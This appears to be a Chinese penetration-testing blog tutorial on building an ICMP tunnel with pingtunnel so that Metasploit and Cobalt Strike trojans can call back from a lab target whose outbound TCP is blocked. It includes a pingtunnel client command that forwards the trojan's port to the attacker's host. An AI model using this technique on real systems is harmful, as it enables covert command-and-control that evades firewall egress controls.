~ 会当凌绝顶,一览众山小 ~
前言
博客主页:h0ack1r丶羽~ 从0到1~
渗透测试中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中 ,本文主要讲解了【靶机能上TCP和不能上TCP的区别】【利用pingtunnel搭建ICMP隧道,实现靶机上线MSF/CS的过程】,以及它的原理解释,如果哪里说错了,还请师傅们指出,谢谢您。
靶机能上TCP
首先我们使用msfvenom生成widows木马 设置好payload
开启监听
运行即可上线
正常情况下木马使用的是TCP协议,靶机能上网,那么靶机不能上网,阻止了防火墙出网呢?也不能走TCP访问攻击机器呢?这个时候MSF就不能通过TCP协议上线,下面将演示MSF通过ICMP协议上线靶机
阻止TCP连接环境搭建
检查网络通信,可以ping通百度
也可以正常访问百度
靶机启用防火墙
kali攻击机器ping(访问)靶机就不通了
靶机阻止防火墙所有出站TCP规则,也就是我们靶机访问不了外网,浏览器打不开百度了
设置为阻止
全部勾选
这个时候可以ping通百度,但是tcp无法访问(浏览器访问网站这个操作,就是走的TCP协议),而ping使用的是icmp协议,所以可以ping通百度,也可以ping(访问)通我们的攻击机
没上线成功的过程就不演示了,作用不大
注:木马走的都是tcp协议,此时我们禁用了TCP协议,msf就无法上线,该怎么绕过呢?
工具使用
这时候我们就需要一个工具
MSF隧道搭建工具pingtunnel
工具链接
链接:百度网盘 请输入提取码 提取码:1212
PingTunnel 是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,还可以为隧道设置密码。pingtunnel工具是基于网络层面ICMP协议的内网穿透工具。
在本次教程中它的主要作用,如图
这张图主要介绍了两个部分
1、靶机使用容器,将tcp数据包打包为icmp数据包
2、msf接收的时候,将icmp数据包还原成tcp数据包
实现过程
下载好工具后把他移到kali中
kali启用PingTunnel服务器
此时kali生成的木马需要是127.0.0.1,端口为靶机监听的地址(原理待会解释)
PingTunnel把木马的TCP数据包封装为ICMP数据包,这时候就可以通过ICMP协议发送到攻击机服务器
工具使用教程如下
命令解释
pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1
运行
查看kali服务端,icmp协议已成功收到靶机的访问请求
MSF设置监听端口9999,本地地址为0.0.0.0全局地址
当PingTunnel服务器接收到靶机的ICMP数据包的时候,PingTunnel就会将ICMP数据包拆解为TCP数据包,这时候MSF就会接收到此"TCP请求",即可成功利用icmp隧道成功上线MSF
执行命令
原理解释
再来看这张图
结合上面的结构图和这个案例即可得到原理,攻击机器生成木马,并传到靶机上,靶机运行木马在本地的8888端口,而PingTunnel在靶机上将这个端口的TCP流量打包,转发到攻击机刚刚开启的PingTunnel服务器,PingTunnel服务器接收到这个icmp请求之后,将这个ICMP包进行拆解转化为TCP协议,最后将这个TCP协议转发到攻击机器(kali)MSF监听的端口,此时就可以完成MSF上线
CS通过ICMP上线
CS也是一样的原理,主机cs生成木马,送到靶机,添加两个监听器,靶机自己监听地址
kali接受shell地址
如下
生成payload,选择靶机的监听地址
放入靶机
运行木马之后,再运行pingtunnel,转发到攻击机的服务器
pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1
成功上线,如果没上线成功,这个红色的框一定要检查是否正确
whoami
总结
本文详细讲解了在内网渗透中,当常规的网络通信手段(如TCP协议)受阻时,如何利用ICMP隧道技术实现MSF和CS的上线。通过搭建PingTunnel服务器,将TCP数据包封装在ICMP数据包中,利用ICMP协议进行数据传输,从而绕过网络限制。文章还详细解释了ICMP隧道的工作原理,并通过实际案例展示了其应用过程。
感今怀昔
DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程
【kali笔记】一款强大的Web目录扫描工具DIRB使用指南